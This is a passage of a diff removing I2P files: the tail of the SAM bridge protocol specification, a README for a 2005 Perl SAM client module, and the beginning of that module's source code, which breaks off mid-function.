the connected I2P destination peer, until one of the sides closes the
|
||||
socket.
|
||||
|
||||
|
||||
|
||||
The I2P router will stop listening to incoming connection requests as
|
||||
soon as the "forwarding" socket is closed.
|
||||
|
||||
|
||||
|
||||
|
||||
----------------------------------------------------------------------
|
||||
SAM repliable datagrams : sending a datagram
|
||||
----------------------------------------------------------------------
|
||||
While I2P doesn't inherently contain a FROM address, for ease of use
|
||||
an additional layer is provided as repliable datagrams - unordered
|
||||
and unreliable messages of up to 31KB in size that include a FROM
|
||||
address (leaving up to 1KB for header material). This FROM address
|
||||
is authenticated internally by SAM (making use of the destination's
|
||||
signing key to verify the source) and includes replay prevention.
|
||||
|
||||
** First method :
|
||||
|
||||
After establishing a SAM session with STYLE=DATAGRAM, the client can
|
||||
send datagrams through SAM's UDP port (7655).
|
||||
|
||||
The first line of a datagram sent through this port has to be in the
|
||||
following format :
|
||||
|
||||
3.0 {$nickname} {$base64_public_destination_key}
|
||||
|
||||
* 3.0 is the version of SAM
|
||||
* {$nickname} is the id of the DGRAM session that will be used
|
||||
* {$base64_public_destination_key} is the destination of the
|
||||
datagram
|
||||
* this line is '\n' terminated.
|
||||
|
||||
The first line will be discarded by SAM before sending the remaining
|
||||
of the message to the specified destination.
|
||||
|
||||
** Second method :
|
||||
|
||||
Datagrams can also be sent through the socket from which the datagram
|
||||
session was opened. See the "DATAGRAM SEND" command of SAM versions 1
|
||||
and 2.
|
||||
|
||||
----------------------------------------------------------------------
|
||||
SAM repliable datagrams : receiving a datagram
|
||||
----------------------------------------------------------------------
|
||||
Received datagrams are written by SAM on the socket from which the
|
||||
datagram session was opened, unless specified otherwise by the CREATE
|
||||
command.
|
||||
|
||||
When a datagram arrives, the bridge delivers it to the client via the
|
||||
message :
|
||||
|
||||
<- DATAGRAM RECEIVED
|
||||
DESTINATION=$base64key
|
||||
SIZE=$numBytes\n[$numBytes of data]
|
||||
|
||||
The SAM bridge never exposes to the client the authentication headers
|
||||
or other fields, merely the data that the sender provided. This
|
||||
continues until the session is closed (by the client dropping the
|
||||
connection).
|
||||
|
||||
----------------------------------------------------------------------
|
||||
SAM repliable datagrams : forwarding datagrams
|
||||
----------------------------------------------------------------------
|
||||
When creating a datagram session, the client can ask SAM to forward
|
||||
incoming messages to a specified ip:port. It does so by issuing the
|
||||
CREATE command with PORT and HOST options :
|
||||
|
||||
-> SESSION CREATE
|
||||
STYLE=DATAGRAM
|
||||
ID={$nickname}
|
||||
DESTINATION={$private_destination_key,TRANSIENT}
|
||||
PORT={$port}
|
||||
[HOST={$host}]
|
||||
[option=value]*
|
||||
|
||||
* {$host} is the hostname or IP address of the datagram server to
|
||||
which SAM will forward datagrams. If not given, SAM takes the
|
||||
IP of the socket that issued the forward command.
|
||||
|
||||
* {$port} is the port number of the datagram server to which SAM
|
||||
will forward datagrams.
|
||||
|
||||
When a datagram arrives, the bridge sends to the specified host:port
|
||||
a message containing the following data :
|
||||
|
||||
${sender_base64_destination_key}\n{$datagram_payload}
|
||||
|
||||
|
||||
----------------------------------------------------------------------
|
||||
SAM anonymous datagrams
|
||||
----------------------------------------------------------------------
|
||||
Squeezing the most out of I2P's bandwidth, SAM allows clients to send
|
||||
and receive anonymous datagrams, leaving authentication and reply
|
||||
information up to the client themselves. These datagrams are
|
||||
unreliable and unordered, and may be up to 32KB in size.
|
||||
|
||||
After establishing a SAM session with STYLE=RAW, the client can
|
||||
send anonymous datagrams throug the SAM bridge exactly the same way
|
||||
he sends non anonymous datagrams.
|
||||
|
||||
Both ways of receiving datagrams are also available for anonymous
|
||||
datagrams.
|
||||
|
||||
When anonymous datagrams are to be written to the socket that created
|
||||
the session,the bridge delivers it to the client via:
|
||||
|
||||
<- RAW RECEIVED
|
||||
SIZE=$numBytes\n[$numBytes of data]
|
||||
|
||||
When anonymous datagrams are to be forwarded to some host:port,
|
||||
the bridge sends to the specified host:port a message containing
|
||||
the following data :
|
||||
|
||||
{$datagram_payload}
|
||||
|
||||
|
||||
----------------------------------------------------------------------
|
||||
SAM utility functionality
|
||||
----------------------------------------------------------------------
|
||||
The following message can be used by the client to query the SAM
|
||||
bridge for name resolution:
|
||||
|
||||
NAMING LOOKUP
|
||||
NAME=$name
|
||||
|
||||
which is answered by
|
||||
|
||||
NAMING REPLY
|
||||
RESULT=$result
|
||||
NAME=$name
|
||||
[VALUE=$base64key]
|
||||
[MESSAGE=$message]
|
||||
|
||||
|
||||
The RESULT value may be one of:
|
||||
|
||||
OK
|
||||
INVALID_KEY
|
||||
KEY_NOT_FOUND
|
||||
|
||||
If NAME=ME, then the reply will contain the base64key used by the
|
||||
current session (useful if you're using a TRANSIENT one). If $result
|
||||
is not OK, MESSAGE may convey a descriptive message, such as "bad
|
||||
format", etc.
|
||||
|
||||
Public and private base64 keys can be generated using the following
|
||||
message:
|
||||
|
||||
DEST GENERATE
|
||||
|
||||
which is answered by
|
||||
|
||||
DEST REPLY
|
||||
PUB=$pubkey
|
||||
PRIV=$privkey
|
||||
|
||||
----------------------------------------------------------------------
|
||||
RESULT values
|
||||
----------------------------------------------------------------------
|
||||
These are the values that can be carried by the RESULT field, with
|
||||
their meaning:
|
||||
|
||||
OK Operation completed succesfully
|
||||
CANT_REACH_PEER The peer exists, but cannot be reached
|
||||
DUPLICATED_DEST The specified Destination is already in use
|
||||
I2P_ERROR A generic I2P error (e.g. I2CP disconnection, etc.)
|
||||
INVALID_KEY The specified key is not valid (bad format, etc.)
|
||||
KEY_NOT_FOUND The naming system can't resolve the given name
|
||||
PEER_NOT_FOUND The peer cannot be found on the network
|
||||
TIMEOUT Timeout while waiting for an event (e.g. peer answer)
|
||||
|
||||
----------------------------------------------------------------------
|
||||
Tunnel Pool Options
|
||||
----------------------------------------------------------------------
|
||||
|
||||
These options can be passed in as name=value pairs at the end of a
|
||||
SAM SESSION CREATE line.
|
||||
|
||||
inbound.nickname - Name shows up in I2P router console.
|
||||
inbound.quantity - Number of tunnels, default 2.
|
||||
inbound.backupQuantity - Number of backup tunnels, default 0.
|
||||
inbound.rebuildPeriod - Obsolete - ignored - the router controls rebuilding
|
||||
inbound.duration - Tunnels last X ms, default 10*60*1000.
|
||||
(change not recommended, will break anonymmity
|
||||
if it works at all)
|
||||
inbound.length - Depth of tunnels, default 2.
|
||||
inbound.lengthVariance - If negative, randomly skews from
|
||||
(length - variance) to
|
||||
(length + variance). If positive, from
|
||||
length to (length + var), inclusive.
|
||||
Default -1.
|
||||
inbound.allowZeroHop - Zero hop allowed? Default "true".
|
||||
outbound.* - Same properties as inbound.
|
||||
i2p.streaming.connectDelay - If 0, connect ASAP. If positive, wait
|
||||
until X ms have passed or output stream
|
||||
is flushed or buffer fills. Default 0.
|
||||
i2p.streaming.maxWindowSize - Max window size, default 64.
|
||||
|
||||
----------------------------------------------------------------------
|
||||
Client library implementations:
|
||||
----------------------------------------------------------------------
|
||||
C/C++: libSAM: http://www.innographx.com/mpc/libsam/ or i2p/sam/c/
|
||||
Python: Python/I2P: http://dev.i2p.net/contrib/apps/sam/python/index.html
|
||||
Others: See apps/sam/ in I2P CVS.
|
||||
See:
|
||||
http://i2p-projekt.i2p/en/docs/api/samv3
|
||||
https://geti2p.net/en/docs/api/samv3
|
||||
|
@ -1,108 +0,0 @@
|
||||
# BASIC Perl SAM Module
|
||||
# created 2005 by postman (postman@i2pmail.org)
|
||||
|
||||
|
||||
1. What does it do?
|
||||
|
||||
The SAM module is a little Perl add-on that - on one side -
|
||||
establishes communication with a I2P router's (http://www.i2p.net) SAM bridge
|
||||
(Simple anonymous messaging ( http://www.i2p.net/sam)). On the
|
||||
other side it exposes a simple socket like interface to the user.
|
||||
Over this interface the user can send or receive datastreams from I2P
|
||||
destinations as if he would communicate with a normal IP socket.
|
||||
|
||||
The SAM module can be integrated into perl scripts that
|
||||
want to communicate with I2P services.
|
||||
|
||||
|
||||
2. Is this code usable?
|
||||
|
||||
This perl module should be considered as proof-of-concept
|
||||
quality. It did surely work for me and my test setups, but
|
||||
it might not work at all on your system. If you run into problems
|
||||
you can contact me.
|
||||
|
||||
|
||||
3. Does ist support DATAGRAM and RAW sessions?
|
||||
|
||||
No, at the moment the module only supports STREAM sessions.
|
||||
Support for other session types might be added in the future.
|
||||
|
||||
|
||||
4. How to install it?
|
||||
Create a Subfolder called I2P in your Perl Installation's Net Module
|
||||
folder (i.e. /usr/lib/perl5/5.8.4./Net/I2P ) and copy the module there.
|
||||
You can now use it with use Net::I2P::SAM.
|
||||
The module only depends on Net::IO::Socket for operations. This
|
||||
should be already installed.
|
||||
|
||||
|
||||
5. How to debug?
|
||||
You can switch on debugging with the constructor ( see below ).
|
||||
|
||||
|
||||
6. How to use it?
|
||||
|
||||
|
||||
$sam = new Net::I2P::SAM('127.0.0.1','7656',1);
|
||||
|
||||
# you can omit host/port - then the defult is assumed
|
||||
# the 3rd argument is the debugging switch. If you switched it on
|
||||
# there'll be a default debug in /tmp/sam-debug
|
||||
# $sam will now either contain a object reference or 0
|
||||
# if it's 0 then we coudl not talk to the SAM bridge at all ( connect failed)
|
||||
# or we could not agree to a version
|
||||
|
||||
# next we can tune the tunnel settings we want for this session:
|
||||
# The syntax is just like the one used on www.i2p.net/sam
|
||||
|
||||
$sam->change_settings("inbound.length=1,inbound.lenghVariance=0,outbound.length=1,outbound.lengthVariance=0,inbound.nickname=fun,outbound.nickname=fun");
|
||||
|
||||
# next we open a new session.
|
||||
# only stream is supported
|
||||
# most of the time we use a transient destination
|
||||
# otherwise state the hosts.txt name you want to use as in your session
|
||||
# direction is most of the times both :)
|
||||
# this cab return 1 for success or 0 for failure
|
||||
$sam->create_session("STREAM","TRANSIENT","BOTH");
|
||||
|
||||
|
||||
# now connect to our service
|
||||
$sam->connect($sam->lookup("myservice.i2p"));
|
||||
|
||||
# or
|
||||
|
||||
$sam->connect("I2PDESTINATIONKEY.....AAAA");
|
||||
|
||||
# if this returns 1 - we got a stream session and can now receive and send data
|
||||
# otherwise consult the debug.
|
||||
|
||||
|
||||
|
||||
# Send data is just like the the raw perl send
|
||||
# we send the data as scalar var and optional flags (most of the times 0)
|
||||
$sam->send($data,0);
|
||||
|
||||
|
||||
# receiving data is similar to the perl recv
|
||||
# we define the mac number of bytes and optional flags
|
||||
|
||||
$indata = $sam->receive(512,0);
|
||||
|
||||
# close the session
|
||||
|
||||
$sam->close();
|
||||
|
||||
# that's the most important things to know.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
@ -1,922 +0,0 @@
|
||||
# Perl Basic SAM module
|
||||
# created 2005 by postman (postman@i2pmail.org)
|
||||
# This code is under GPL.
|
||||
# This code is proof of concept
|
||||
|
||||
|
||||
package Net::I2P::SAM;
|
||||
require 5.001;
|
||||
use strict;
|
||||
use POSIX;
|
||||
|
||||
|
||||
# we do not extend the IO::Socket:INET Package
|
||||
# we just use it, so we keep our stuff sorted
|
||||
# This is a testsetup - the next release but
|
||||
# be an extension of IO::Socket::INET;
|
||||
|
||||
use IO::Socket::INET;
|
||||
|
||||
|
||||
use vars qw($VERSION @ISA @EXPORT);
|
||||
|
||||
|
||||
sub new {
|
||||
my ($this,$host,$port,$debug) = @_;
|
||||
my $classname=ref($this) || $this;
|
||||
my $self = {};
|
||||
bless($self,$classname);
|
||||
|
||||
|
||||
#%{$self->{conf}} = The hash where we store tunnel / SAM Settings
|
||||
#$self->{debug} = Whether we should output debugging lines ( this is very helpful when having problems)
|
||||
#$self->{debugfile} = Where to log
|
||||
#%{$self->{samreply}} = This hash stores the key=VALUE pairs of sam reply
|
||||
#$self->{sock} = The INET Socket over which we talk to the SAM bridge
|
||||
#$self->{inbuffer} = a simple layouted inbuffer
|
||||
#$self->{outbuffer} = a simple layouted outbuffer
|
||||
# ( the buffers are for dealing with differences between user wanted in/outputsizes
|
||||
# and what we're able to deliver on a machine side)
|
||||
#$self->{sessiontype} = unused ( will be used when we support different sessiontypes )
|
||||
#$self->{lookupresult}= contains the result of a SAM host/userhost naming lookup;
|
||||
#$self->{samerror} = The human readable SAM error message ( if wanted )
|
||||
#$self->{streamid} = The virtual streamid. It will be created upon connect;
|
||||
#$self->{bytestoread} = contains the reported size of a packet from sam
|
||||
#$self->{bytestosend} = contains the wanted size of a packet to sam
|
||||
#$self->{hasbanner} = is set to 1 when we receive a greeting string upon connect
|
||||
|
||||
#
|
||||
|
||||
%{$self->{conf}}=();
|
||||
if($debug==1) {
|
||||
$self->{debug}=1;
|
||||
}
|
||||
$self->{debugfile}="/tmp/sam-debug";
|
||||
$self->{debughandle}=undef;
|
||||
%{$self->{samreply}}=undef;
|
||||
$self->{sock}=undef;
|
||||
$self->{inbuffer}=undef;
|
||||
$self->{outbuffer}=undef;
|
||||
$self->{sessiontype}=undef;
|
||||
$self->{lookupresult}=undef;
|
||||
$self->{samerror}=undef;
|
||||
$self->{streamid}=undef;
|
||||
$self->{bytestoread}=undef;
|
||||
$self->{bytestosend}=undef;
|
||||
$self->{hasbanner}=1;
|
||||
|
||||
# state == -1 (no socket exists)
|
||||
# state == 0 (socket exists, but we're not helloed)
|
||||
# state == 1 (socket exists, and we're helloed)
|
||||
# state == 200 ( we bound a session)
|
||||
# state == 250 ( we have a virtual stream)
|
||||
|
||||
$self->{state}=-1;
|
||||
|
||||
|
||||
# if the user has specified a host/port for contacting the SAM
|
||||
# Bridge, we'll override the defaults. Otherwise we just use
|
||||
# defaults.
|
||||
#
|
||||
if($host) {
|
||||
${$self->{conf}}{host}=$host;
|
||||
} else {
|
||||
${$self->{conf}}{host}="127.0.0.1";
|
||||
}
|
||||
|
||||
if($port) {
|
||||
${$self->{conf}}{port}=$port;
|
||||
} else {
|
||||
${$self->{conf}}{port}=7656;
|
||||
}
|
||||
# defaults for the tunnelparameters
|
||||
# see www.i2p.net/sam
|
||||
${$self->{conf}}{iblength}=2;
|
||||
${$self->{conf}}{oblength}=2;
|
||||
${$self->{conf}}{ibquant}=2;
|
||||
${$self->{conf}}{obquant}=2;
|
||||
${$self->{conf}}{ibbackup}=0;
|
||||
${$self->{conf}}{obbackup}=0;
|
||||
${$self->{conf}}{ibvariance}=0;
|
||||
${$self->{conf}}{obvariance}=0;
|
||||
${$self->{conf}}{iballowzero}="true";
|
||||
${$self->{conf}}{oballowzero}="true";
|
||||
${$self->{conf}}{ibduration}=600000;
|
||||
${$self->{conf}}{obduration}=600000;
|
||||
${$self->{conf}}{ibnickname}="SAM-Perl-Destination";
|
||||
${$self->{conf}}{obnickname}="SAM-Perl-Destination";
|
||||
|
||||
|
||||
|
||||
# ok, let's open a simple debug file
|
||||
# if the user wants us
|
||||
if($self->{debug} == 1) {
|
||||
if ( ! open (LOGFILE,">" .$self->{debugfile})) {
|
||||
print "constructor: Cannot open debugging file, switching debugging off.";
|
||||
$self->{debug}=0;
|
||||
}
|
||||
|
||||
# switch off the nerveracking buffer for the debugfile
|
||||
select((select(LOGFILE), $| = 1)[0]);
|
||||
}
|
||||
|
||||
# ok now, lets move to the manager
|
||||
# he manages connecting and hello
|
||||
# if the proc_mgr returns 1 the user will get our
|
||||
# object reference. if not, he'll just get a 0.
|
||||
if($self->proc_mgr()) {
|
||||
return $self;
|
||||
} else {
|
||||
return 0;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
sub proc_mgr {
|
||||
my ($self) = @_;
|
||||
my $return=undef;
|
||||
|
||||
if ($self->{state} == -1) {
|
||||
$self->log("Debug: SAM::proc_mgr(): Opening Socket Connection to ".${$self->{conf}}{host}.":".${$self->{conf}}{port});
|
||||
$return=$self->sam_connect();
|
||||
if($return==0) {
|
||||
return 0;
|
||||
}
|
||||
if($return == 1) {
|
||||
$self->log("Debug: SAM::proc_mgr(): State Transition -1 => 0");
|
||||
$self->{state}=0;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if($self->{state}==0) {
|
||||
if(!$self->hello()) {
|
||||
$self->log("Debug: SAM::proc_mgr(): Closing Socket");
|
||||
$self->{sock}->close();
|
||||
$self->log("State SAM::proc_mgr(): Transition 0 => -1");
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
return 1;
|
||||
|
||||
}
|
||||
|
||||
|
||||
sub change_settings {
|
||||
my ($self,$list)=@_;
|
||||
my (@tochange,$id,$v,$k);
|
||||
|
||||
# we cannot change the settings if we have a session already
|
||||
# so our state must be 1
|
||||
|
||||
if($self->{state} >1) {
|
||||
$self->log("Debug: SAM::change_settings(): Cannot change tunnel settings after establishing a session.");
|
||||
return 0;
|
||||
}
|
||||
|
||||
@tochange=split(",",$list);
|
||||
foreach $id (@tochange) {
|
||||
($k,$v)=split("=",$id);
|
||||
lc($v);
|
||||
lc($k);
|
||||
|
||||
|
||||
$self->log("Debug: SAM::change_settings(): Parsed Setting: Key: $k - Value: $v");
|
||||
if($k eq "inbound.length" || $k eq "outbound.length") {
|
||||
# make v an int
|
||||
$v*1;
|
||||
if ($v >3 || $v < 0) {
|
||||
$self->log("Error: SAM::change_settings(): Wrong value $v is not valid for $k (out of range)");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if(${$self->{conf}}{iballowzero} eq "false" && $k eq "inbound.length" && $v==0) {
|
||||
$self->log("Error: SAM::change_settings(): Wrong value $v is not valid for $k (length forbidden by allowzero=false)");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if(${$self->{conf}}{oballowzero} eq "false" && $k eq "outbound.length" && $v==0) {
|
||||
$self->log("Error: SAM::change_settings(): Wrong value $v is not valid for $k (length forbidden by allowzero=false)");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if($k eq "inbound.length") {
|
||||
${$self->{conf}}{iblength}=$v;
|
||||
}
|
||||
if($k eq "outbound.length") {
|
||||
${$self->{conf}}{oblength}=$v;
|
||||
}
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
if($k eq "inbound.quantity" || $k eq "outbound.quantity") {
|
||||
$v*1;
|
||||
if($v < 0 || $v >3 ) {
|
||||
$self->log("Error: SAM::change_settings(): Wrong value $v is not valid for $k (out of range)");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if ($k eq "inbound.quantity") {
|
||||
${$self->{conf}}{ibquant}=$v;
|
||||
}
|
||||
if($k eq "outbound.quantity") {
|
||||
${$self->{conf}}{obquant}=$v;
|
||||
}
|
||||
}
|
||||
|
||||
if($k eq "inbound.backupquantity" || $k eq "outbound.backupquantity") {
|
||||
$v*1;
|
||||
if($v < 0 || $v >2 ) {
|
||||
$self->log("Error: SAM::change_settings(): Wrong value $v is not valid for $k (out of range)");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if ($k eq "inbound.backupquantity") {
|
||||
${$self->{conf}}{ibbackup}=$v;
|
||||
}
|
||||
if($k eq "outbound.backupquantity") {
|
||||
${$self->{conf}}{obbackup}=$v;
|
||||
}
|
||||
}
|
||||
|
||||
if($k eq "inbound.lengthvariance" || $k eq "outbound.lengthvariance") {
|
||||
$v*1;
|
||||
if($v < -2 || $v >2 ) {
|
||||
$self->log("Error: SAM::change_settings(): Wrong value $v is not valid for $k (out of range)");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if ($k eq "inbound.lengthvariance") {
|
||||
${$self->{conf}}{ibvariance}=$v;
|
||||
}
|
||||
if($k eq "outbound.lengthvariance") {
|
||||
${$self->{conf}}{ibvariance}=$v;
|
||||
}
|
||||
}
|
||||
|
||||
if($k eq "inbound.duration" || $k eq "outbound.duration") {
|
||||
$v*1;
|
||||
if($v < 300000 || $v >1200000 ) {
|
||||
$self->log("Error: SAM::change_settings(): Wrong value $v is not valid for $k (out of range)");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if ($k eq "inbound.duration") {
|
||||
${$self->{conf}}{ibduration}=$v;
|
||||
}
|
||||
if($k eq "outbound.duration") {
|
||||
${$self->{conf}}{obduration}=$v;
|
||||
}
|
||||
}
|
||||
|
||||
if($k eq "inbound.nickname" || $k eq "outbound.nickname") {
|
||||
$v=substr($v,0,20);
|
||||
|
||||
if ($k eq "inbound.nickname") {
|
||||
${$self->{conf}}{ibnickname}=$v;
|
||||
}
|
||||
if($k eq "outbound.nickname") {
|
||||
${$self->{conf}}{obnickname}=$v;
|
||||
}
|
||||
}
|
||||
|
||||
if($k eq "inbound.allowzerohop" || $k eq "outbound.allowzerohop") {
|
||||
if($v ne "true" && $v ne "false") {
|
||||
$self->log("Error: SAM::change_settings(): Wrong value $v is not valid for $k (must be boolean)");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if(${$self->{conf}}{iblength} ==0 && $k eq "inbound.allowzerohop" && $v eq "false") {
|
||||
$self->log("Error: SAM::change_settings(): Wrong value $v is not valid for $k (length forbidden by allowzero=false)");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if(${$self->{conf}}{oblength} == 0 && $k eq "outbound.allowzerohop" && $v eq "false") {
|
||||
$self->log("Error: SAM::change_settings(): Wrong value $v is not valid for $k (length forbidden by allowzero=false)");
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
if ($k eq "inbound.allowzerohop") {
|
||||
${$self->{conf}}{iballowzero}=$v;
|
||||
}
|
||||
if($k eq "outbound.allowzerohop") {
|
||||
${$self->{conf}}{oballowzero}=$v;
|
||||
}
|
||||
}
|
||||
|
||||
$self->log("Debug: SAM::change_settings(): Setting $k to $v");
|
||||
|
||||
|
||||
}
|
||||
|
||||
return 1;
|
||||
|
||||
}
|
||||
|
||||
|
||||
sub hello {
|
||||
my ($self) = @_;
|
||||
my $greeting="HELLO VERSION MIN=1.0 MAX=1.0\n";
|
||||
my $return=undef;
|
||||
my $return2=undef;
|
||||
|
||||
$self->{outbuffer} .= $greeting;
|
||||
$return=$self->raw_send();
|
||||
if($return == 1) {
|
||||
if($self->raw_read()) {
|
||||
if($self->parse_sam("HELLO")) {
|
||||
$self->{state}=1;
|
||||
$self->log("Debug: SAM::hello(): State Transition 0 => 1");
|
||||
delete $self->{inbuffer};
|
||||
delete $self->{outbuffer};
|
||||
return 1;
|
||||
}
|
||||
} else {
|
||||
$self->log("Error: SAM::hello(): HELLO Failed. Cannot read HELLO response");
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
if($return == 0) {
|
||||
$self->log("Error: SAM::hello(): HELLO Failed. Cannot send HELLO String");
|
||||
return 0;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
sub create_session {
|
||||
my ($self,$type,$destination,$direction) = @_;
|
||||
my $line="SESSION CREATE ";
|
||||
my $return;
|
||||
|
||||
uc($type);
|
||||
# WE ARE ONLY DOING STREAMS ATM
|
||||
if ($type ne "STREAM") {
|
||||
$self->log("Error: SAM::create_session(): SESSION failed. Only session of STREAM type are allowed");
|
||||
return 0;
|
||||
}
|
||||
if(length($destination)==0) {
|
||||
$self->log("Warn: SAM::create_session(): SESSION: fallback setting on destination to TRANSIENT.");
|
||||
$destination="TRANSIENT";
|
||||
}
|
||||
|
||||
$line.="STYLE=$type DESTINATION=$destination";
|
||||
|
||||
uc($direction);
|
||||
if($direction ne "BOTH" && $direction ne "CREATE" && $direction ne "RECEIVE") {
|
||||
$self->log("Warn: SAM::create_session(): SESSION: fallback setting on direction to BOTH.");
|
||||
$direction="BOTH";
|
||||
}
|
||||
|
||||
$line .= " DIRECTION=$direction";
|
||||
$line .= " inbound.length=".${$self->{conf}}{iblength}." outbound.length=".${$self->{conf}}{oblength};
|
||||
$line .= " inbound.quantity=".${$self->{conf}}{ibquant}." outbound.quantity=".${$self->{conf}}{obquant};
|
||||
$line .= " inbound.backupQuantity=".${$self->{conf}}{ibbackup}." outbound.backupQuantity=".${$self->{conf}}{obbackup};
|
||||
$line .= " inbound.lengthVariance=".${$self->{conf}}{ibvariance}." outbound.lengthVariance=".${$self->{conf}}{obvariance};
|
||||
$line .= " inbound.duration=".${$self->{conf}}{ibduration}." outbound.duration=".${$self->{conf}}{obduration};
|
||||
$line .= " inbound.nickname=".${$self->{conf}}{ibnickname}." outbound.nickname=".${$self->{conf}}{obnickname};
|
||||
$line .= " inbound.allowZeroHop=".${$self->{conf}}{iballowzero}." outbound.allowZeroHop=".${$self->{conf}}{oballowzero};
|
||||
$line .="\n";
|
||||
|
||||
$self->{outbuffer}.=$line;
|
||||
$return=$self->raw_send();
|
||||
|
||||
if($return == 1) {
|
||||
if($self->raw_read()) {
|
||||
if($self->parse_sam("SESSION ")) {
|
||||
$self->{state}=200;
|
||||
$self->log("Debug: SAM::create_session(): State Transition 1 => 200");
|
||||
# flush the whole inbuffer;
|
||||
delete $self->{inbuffer};
|
||||
delete $self->{outbuffer};
|
||||
return 1;
|
||||
}
|
||||
} else {
|
||||
$self->log("Error: SAM::create_session(): SESSION Failed. Cannot read SAM Response");
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
if($return == 0) {
|
||||
$self->log("Error: SAM::create_session(): SESSION Failed. Cannot send SESSION String");
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
sub parse_sam {
|
||||
|
||||
# this is the main function that parses all SAM replies
|
||||
# depending on wanted action and state we'll set different
|
||||
# properties like $self->{bytestoread} etc.
|
||||
# parse_sam does not CUT OUT SAM messages from the payloads
|
||||
# (look at $self->recv for that)
|
||||
#
|
||||
my ($self,$state) = @_;
|
||||
my (@data,$id,$k,$v);
|
||||
%{$self->{samreply}}=();
|
||||
|
||||
|
||||
uc($state);
|
||||
|
||||
if( $self->{inbuffer} =~ /^(.[^ ]*) (.[^ ]*) (.*)$/m ) {
|
||||
${$self->{samreply}}{COMMAND}=$1;
|
||||
${$self->{samreply}}{REPLY}=$2;
|
||||
|
||||
@data=split(" ",$3);
|
||||
|
||||
foreach $id (@data) {
|
||||
($k,$v)=split("=",$id);
|
||||
|
||||
#print "k: $k - v: $v\n";
|
||||
${$self->{samreply}}{$k}=$v;
|
||||
}
|
||||
} else {
|
||||
$self->log("Error: SAM::parse_sam(): Could not parse the SAM Reply. Has the specs changed?");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if($state eq "HELLO") {
|
||||
if (${$self->{samreply}}{COMMAND} ne "HELLO") {
|
||||
$self->log("Error: SAM::parse_sam(): We're in state HELLO but got no proper response from SAM");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if(${$self->{samreply}}{REPLY} eq "REPLY") {
|
||||
if(${$self->{samreply}}{RESULT} eq "OK") {
|
||||
$self->log("Debug: SAM::parse_sam(): Got a OK result for HELLO");
|
||||
return 1;
|
||||
} else {
|
||||
$self->log("Error :SAM::parse_sam(): Got no OK Result for HELLO");
|
||||
return 0;
|
||||
}
|
||||
} else {
|
||||
$self->log("Error: SAM::parse_sam(): Unknown Reply type for HELLO dialogue");
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
if($state eq "SESSION") {
|
||||
if (${$self->{samreply}}{COMMAND} ne "SESSION") {
|
||||
$self->log("Error: SAM::parse_sam(): We're in state SESSION but got no proper response from SAM");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if(${$self->{samreply}}{REPLY} eq "STATUS") {
|
||||
if(${$self->{samreply}}{RESULT} eq "OK") {
|
||||
$self->log("Debug: SAM::parse_sam(): Got a OK result for SESSION");
|
||||
return 1;
|
||||
} else {
|
||||
$self->log("Error: SAM::parse_sam(): Got no OK Result for SESSION: ".${$self->{samreply}}{RESULT});
|
||||
return 0;
|
||||
}
|
||||
} else {
|
||||
$self->log("Error: SAM::parse_sam(): Unknown Reply type for SESSION dialogue");
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
if($state eq "NAMING") {
|
||||
if (${$self->{samreply}}{COMMAND} ne "NAMING") {
|
||||
$self->log("Error: SAM::parse_sam(): We're in state NAMING but got no proper response from SAM");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if(${$self->{samreply}}{REPLY} eq "REPLY") {
|
||||
if(${$self->{samreply}}{RESULT} eq "OK") {
|
||||
$self->log("Debug: SAM::parse_sam(): Got a OK result for NAMING");
|
||||
$self->{lookupresult}=${$self->{samreply}}{VALUE};
|
||||
return 1;
|
||||
} else {
|
||||
$self->log("Error: SAM::parse_sam(): Got no OK Result for NAMING: ".${$self->{samreply}}{RESULT});
|
||||
return 0;
|
||||
}
|
||||
} else {
|
||||
$self->log("Error: SAM::parse_sam(): Unknown Reply type for NAMING dialogue");
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
if($state eq "STREAM") {
|
||||
if (${$self->{samreply}}{COMMAND} ne "STREAM") {
|
||||
$self->log("Error: SAM::parse_sam(): We're in state STREAM but got no proper response from SAM");
|
||||
return 0;
|
||||
}
|
||||
|
||||
# CREATING STREAMS
|
||||
if(${$self->{samreply}}{REPLY} eq "STATUS") {
|
||||
if(${$self->{samreply}}{RESULT} eq "OK") {
|
||||
$self->log("Debug: SAM::parse_sam(): STREAM STATUS OK - Next action is awaited");
|
||||
return 1;
|
||||
} else {
|
||||
$self->log("Error: SAM::parse_sam(): STREAM STATUS NOT OK.: ".${$self->{samreply}}{RESULT});
|
||||
|
||||
if(length(${$self->{samreply}}{MESSAGE}) == 0) {
|
||||
$self->{samerror}=${$self->{samreply}}{RESULT};
|
||||
} else {
|
||||
$self->{samerror}=${$self->{samreply}}{MESSAGE};
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
# SEND/RECEIVING STREAMS
|
||||
# this can happen directly after a connect
|
||||
if(${$self->{samreply}}{REPLY} eq "RECEIVED") {
|
||||
if(${$self->{samreply}}{SIZE} > 0) {
|
||||
$self->log("Debug: SAM::parse_sam(): SAM notify: RECEIVED Data. SIZE=".${$self->{samreply}}{SIZE});
|
||||
$self->{bytestoread}=${$self->{samreply}}{SIZE};
|
||||
return 1;
|
||||
} else {
